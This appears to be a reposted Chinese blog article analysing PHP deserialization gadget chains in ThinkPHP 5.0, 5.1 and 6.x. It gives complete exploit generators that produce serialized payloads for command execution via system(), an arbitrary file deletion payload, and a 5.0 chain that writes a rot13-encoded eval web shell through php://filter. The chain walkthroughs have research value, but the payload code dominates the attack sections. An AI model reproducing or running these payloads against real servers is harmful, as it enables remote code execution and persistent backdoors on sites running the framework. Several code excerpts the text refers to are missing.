您好,登錄后才能下訂單哦!
這篇文章給大家介紹Thinkphp5.0、5.1、6.x反序列化的漏洞分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
命名空間的聲明可避免類或函數名重復導致的各種問題。使用namespace可以聲明、切換命名空間。
<?php namespace first; echo "當前命名空間",__NAMESPACE__,"\n"; namespace second; echo "當前命名空間",__NAMESPACE__,"\n"; ?> /*運行結果 *當前命名空間first *當前命名空間second */
在不同命名空間內可以定義同名類,有多個命名空間時,默認為最后一次聲明的空間.若要使用其他命名空間的類,則需要在類前加入命名空間,直接使用其他命名空間的類會出錯
<?php namespace first; class wow{ function __construct(){ echo "當前命名空間",__NAMESPACE__,"\n"; } } class fine{ function __construct(){ echo "I'm fine thank u\n"; } } namespace second; class wow{ function __construct(){ echo "當前命名空間",__NAMESPACE__,"\n"; } } new wow(); echo "正確的創建fine\n"; new \first\fine(); //需要有反斜杠在前 echo "錯誤的創建fine\n"; new fine(); ?>
Thinkphp v5.1.39LTS
POP鏈為:Windows::__destruct --> Pivot::__toString --> Request::__call -->Request::isAjax --> Request::param --> Request::input --> Request::filterValue -->call_user_func
,
Windows類thinkphp/library/think/process/pipes/Windows.php
跟蹤removeFiles()
該函數功能,遍歷Windows->files屬性,若存在該屬性指定的文件,則刪除。$this->files完全可控,故可刪除任意文件,例如
<?php namespace think\process\pipes; use think\Process; class Pipes{} class Windows extends Pipes{ private $files = []; function __construct(){ $this->files = ["D://del.txt"]; } } echo urlencode(serialize(New Windows()))."\n"; ?> //運行結果 //O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A11%3A%22D%3A%2F%2Fdel.txt%22%3B%7D%7D
removeFiles函數第163行,以file_exist函數處理$filename
,file_exist函數會將參數當作字符串處理,倘若使得$filename為一個擁有__toString方法的對象則可觸發__toString方法。
Pivot類的__toString方法來自父類Model,而Model的__toString方法則來自trait類Conversion
Conversion類__toString鏈如下
toArray代碼過長,截取有用部分如下
其間$relation變量來自$this->data[$name],而$name變量則來自$this->append,此兩者皆可控。若使得$relation為擁有可利用visible方法或者不擁有visible方法但擁有可利用__call方法的對象,則可進入下一步利用。
__call這里找到Request類,如下
由于$this->hook可控,我們可以輕易執行到call_user_func_array.但又由于代碼330行array_unshift的存在,使得Request對象被放置到$args的首位,導致我們無法在此處執行任意代碼(因為參數不可控),故需要再次尋找第一個參數不太影響結果的函數構造可利用鏈。
這里找到Request::isAjax,并跟蹤
跟蹤input
$name來自config['var_ajax'],可控,$data來自$this->param,也可控.
跟蹤filterValue,其間執行了call_user_func($filter, $value)
$value來自input中的$data,故最終來自$this->param,$filter在調用getFilter函數后獲得
其間$this->filter可控,故$filter可控。由于$filter,$value皆可控,故可執行任意代碼,再回看一次pop鏈
Windows::__destruct --> Pivot::__toString --> Request::__call -->Request::isAjax --> Request::param --> Request::input --> Request::filterValue -->call_user_func
倘若要執行system('id'),則需要控制變量為以下值
Request->filter = "system"; Request->param = array('id'); Request->hook['visible'] = [$this,"isAjax"]; Request->config['var_ajax'] = ''; Pivot->data = ["azhe" => new Request()]; Pivot->append = ["azhe" => ["4ut","15m"]]; Windows->files = [new Pivot()]; ---exp--- <?php namespace think; abstract class Model{ private $data = []; protected $append = []; public function __construct(){ $this->data = ["azhe" => new Request()]; $this->append = ["azhe" => ["4ut","15m"]]; } } class Request{ protected $config = [ // 表單請求類型偽裝變量 'var_method' => '_method', // 表單ajax偽裝變量 'var_ajax' => '_ajax', // 表單pjax偽裝變量 'var_pjax' => '_pjax', // PATHINFO變量名 用于兼容模式 'var_pathinfo' => 's', // 兼容PATH_INFO獲取 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], // 默認全局過濾方法 用逗號分隔多個 'default_filter' => '', // 域名根,如thinkphp.cn 'url_domain_root' => '', // HTTPS代理標識 'https_agent_name' => '', // IP代理獲取標識 'http_agent_ip' => 'HTTP_X_REAL_IP', // URL偽靜態后綴 'url_html_suffix' => 'html', ]; protected $param = []; protected $hook = []; protected $filter; public function __construct(){ $this->filter = "system"; $this->hook = ["visible" => [$this, "isAjax"]]; $this->param = array('id'); //可以在這里寫定命令,也可不在此設定,param函數會通過提交的參數來更新該值,故也可直接在地址欄提交任意參數執行命令 $this->config['var_ajax'] = ''; } } namespace think\process\pipes; use think\Model\Pivot; class Windows{ private $files ; public function __construct(){ $this->files = [new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model{ } use think\process\pipes\Windows; echo urlencode(serialize(new Windows()))."\n"; ?>
POP鏈Model->__destruct() --> Model->save() --> Model->updateData() --> Model->checkAllowFields() --> Conversion->__toString() --> Conversion->toJson() --> Conversion->toArray() --> Attribute->getAttr() --> Attribute->getValue()
先看反序列化起點Model->__destruct()
當$this->lazySave == true
時調用save,跟蹤如下
要想調用updateData,需要繞過第一個if并且$this->exists == true
if的繞過需要使isEmpty()返回false并且trigger()返回true
跟蹤isEmpty(),當$this->data
不為空時返回false
跟蹤trigger(),當$this->withEvent == false
時trigger()返回true.(PS:trigger()所屬類為ModelEvent)
繞過后,跟蹤updateData().
要想調用checkAllowFields需要繞過第二個if.跟蹤getChangedData()查看$data
的獲取
當$this->force == true
時,$data
可控并且就為$this->data
的值
跟蹤checkAllowFields().這里已經可以看到一個__toString
觸發點,除了這一個觸發點,還有一個觸發點就是db()
跟蹤db().進行字符串拼接處即是觸發點。只要使$this->table、$this->name或$this->suffix
為擁有__toString
方法的對象即可。
要想執行到觸發點,需要繞過updateData的第2個和第3個if,也即是$this->field(默認為空)與$this->schema(默認為空)
為空
以上即是__destruct
鏈,總結一下需要設置的屬性如下
Model->lazySave = true; Model->exists = true; Model->withEvent = false Model->force = true; Model->data不為空 Model->name(或table、suffix)為某對象
下面看__toString
鏈
Conversion->__toString
跟蹤toArray()
要調用getAttr()首先需要繞過if.
$data
來自$this->data
和$this->relation
,當$data
的value
不是Model或ModelCollection實例時即可通過第一個if,若設置$this->visible
則在173行調用getAttr,不設置則在175行調用,沒有影響.
跟進getAttr()
調用getData獲取到$value
,跟進
跟進getRealFieldName()
當$this->strict == true(默認也為true)
時,返回$name
(name即是$this->data
的key).也即是$fieldName
終值為$this->data
的key.
代碼279行的if,當$this->data
中存在$fieldName
鍵時,返回對應鍵的值。故$value
最終值為$this->data[$fieldName]
跟進getValue()
代碼第496行,$closure完全可控,第497行觸發rce.
先看調用getValue()傳入的參數,$name、$value、$relation
,這三者分別為$this->data的key,$this->data的value,false
因為$this->withAttr[$fieldName]
可控并且$relation == false
,故程序會執行到497行。
以上則為__toString
鏈,總結需要設置的內容如下
$this->data = array('azhe'=>'whoami'); $this->withAttr = array('azhe'=>[]) Conversion類為trait類,需要尋找使用了它的類,這里可以用Pivot類 上下文總結如下 $Model->lasySave = true; $Model->exists = true; $Model->withEvent = false; $Model->force = true; $Model->name = new Pivot(); $Model->data = array('azhe'=>'whoami'); $Model->withAttr = array('azhe'=>'system');
<?php /*Model->__destruct() *Model->save() *Model->updateData() *Model->checkAllowFields() *Conversion->__toString() *Conversion->toJson() *Conversion->toArray() *Conversion->getAttr() *Conversion->getValue() */ namespace think; abstract class Model{ private $exists; private $force; private $lazySave; protected $name; protected $withEvent; private $data; private $withAttr; public function __construct($obj = null,$cmd = ''){ $this->lazySave = true; $this->exists = true; $this->withEvent = false; $this->force = true; $this->name = $obj; $this->data = array('azhe'=>"${cmd}"); $this->withAttr = array('azhe'=>'system'); } } namespace think\model; use think\Model; class Pivot extends Model{ } $a = new Pivot(); $b = new Pivot($a,$argv[1]); echo urlencode(serialize($b))."\n"; ?>
POP鏈Windows->__destruct() --> Windows->removeFiles() --> Model->__toString --> Model->toJson() --> Model->toArray() --> Output->__call --> Output->block --> Output->writeln --> Output->write --> Memcache->write --> File->set
首先看__destruct
鏈,thinkphp/library/think/process/pipes/Windows.php:56
跟進removeFiles(),這里與TPv5.1相同,也存在任意文件刪除,不再演示
再看__toString
鏈,thinkphp/library/think/Model.php:2265
跟進toJson()
跟進toArray(),代碼過多,截取關鍵部分
倘若$value
可控,則可在此處觸發__call
因為$this->append
可控,所以$name
可控,當$name
不為數組,并且不含有.
時,代碼進入899行,跟進Loader::parseName();
即$relation
可控為第一個字母小寫的任意字符串
代碼第900-901行,我們可以調用該類(Model)的任意方法,并且將結果賦予$modelRelation
先跟進getRelationData()
跟進isSelfRelation()
跟進getModel(),這個getModel是Relation的類方法
它的getModel又調用了$this->query
的getModel,因為$this->query
可控,故全局搜索getModel(),發現兩個簡單易用的getModel
這兩個getModel都是直接返回對象的$this->model
,故$modelRelation->getModel()可控
可以發現,$this->parent
可控,倘若$modelRelation
也可控,那么$value
就可控。回看$modelRelation
,它為我們調用的、任一Model方法的返回值,查看Model類的方法,找到一簡單可控的方法getError()
再往下看
$modelRelation
需要存在getBindAttr方法,全局搜索發現只有抽象類OneToOne存在該方法,并且該類也是Relation的子類。從這里看,我們需要讓$modelRelation
為OneToOne的子類.再往下看,$bindAttr
可控
到這,已經可以隨便控制$bindAttr
使代碼執行到912行了。
912行,可以這樣看
$item[$bindAttr的key] = $this->parent ? $this->parent->getAttr($bindAttr[key]) : null
,$bindAttr
與$this->parent
皆可控
OneToOne的子類如下,$modelRelation
可以任選其一
由于我們要使用Output類的__call方法,
故需要使$this->parent
為Output對象
__toString
鏈需要構造以下內容
Model->append = array('4ut15m'=>'getError'); Model->error = new BelongsTo(); //或者HasOne Model->parent = new Output(); OneToOne->selfRelation = false; OneToOne->query = new ModelNotFoundException(); OneToOne->bindAttr = array('4ut15m'); ModelNotFoundException->model = new Output();
再看__call
鏈,thinkphp/library/think/console/Output.php:208
代碼212行,調用當前對象的block方法,跟進block()
跟進writeln()
$this->handle
可控,全局搜索write方法,找到 Memcache::write
其中$this->handler
、$this->config
都可控
全局搜索set方法,發現File::set
因為$this->options
可控,故$expire
可控,$name
和Memcache->config
相關,半可控,跟進getCacheKey()
至此$filename
路徑可控,$name
為可以確定的md5值
寫入文件的內容$data
由$value
和$expire
組成,追溯前者其不可控,值為true。后者則由于格式化輸出的原因無法控制。跟進setTagItem()
代碼在200行又調用了set方法,并且寫入內容$value為傳入的參數$name
也即是前文的$filename
,路徑部分可控。這里可以通過php偽協議php://write
寫入shell,如下
php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG['4hg15z']);?>
__call
鏈需要構造以下內容
Output->styles = ['getAttr']; Output->handle = new Memcache(); Memcache->handler = new File(); File->options = ['expire' => 0, 'cache_subdir' => false, //設置為false可控制寫入的文件在默認路徑下 'prefix' => '', 'path' => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'4hg15z\']);?>', 'data_compress' => false];
<?php namespace think\process\pipes; use think\model\Pivot; //Windows類 class Windows{ private $files; public function __construct(){ $this->files = array(new Pivot()); } } namespace think\model; use think\model\relation\BelongsTo; use think\console\Output; //Pivot類 class Pivot { public $parent; protected $error; protected $append; public function __construct(){ $this->append = array('4ut15m' => 'getError'); $this->error = new BelongsTo(); $this->parent = new Output(); } } namespace think\model\relation; use think\db\exception\ModelNotFoundException; //BelongsTo類 class BelongsTo { protected $parent; protected $query; protected $selfRelation; protected $bindAttr; public function __construct(){ $this->selfRelation = false; $this->query = new ModelNotFoundException(); $this->bindAttr = array('4ut15m'); } } namespace think\console; use think\session\driver\Memcache; //Output類 class Output{ private $handle; protected $styles; public function __construct(){ $this->styles = ['getAttr']; $this->handle = new Memcache(); } } namespace think\db\exception; use think\console\Output; //ModelNotFoundException類 class ModelNotFoundException{ protected $model ; public function __construct(){ $this->model = new Output(); } } namespace think\session\driver; use think\cache\driver\File; //Memcache類 class Memcache{ protected $handler; public function __construct(){ $this->handler = new File(); } } namespace think\cache\driver; use think\cache\Driver; //File類 class File { protected $tag; protected $options; public function __construct(){ $this->tag = '4ut15m'; $this->options = [ 'expire' => 0, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'4hg15z\']);?>', 'data_compress' => false, ]; } } use think\process\pipes\Windows; $windows = new Windows(); echo urlencode(serialize($windows))."\n"; ?>
關于Thinkphp5.0、5.1、6.x反序列化的漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。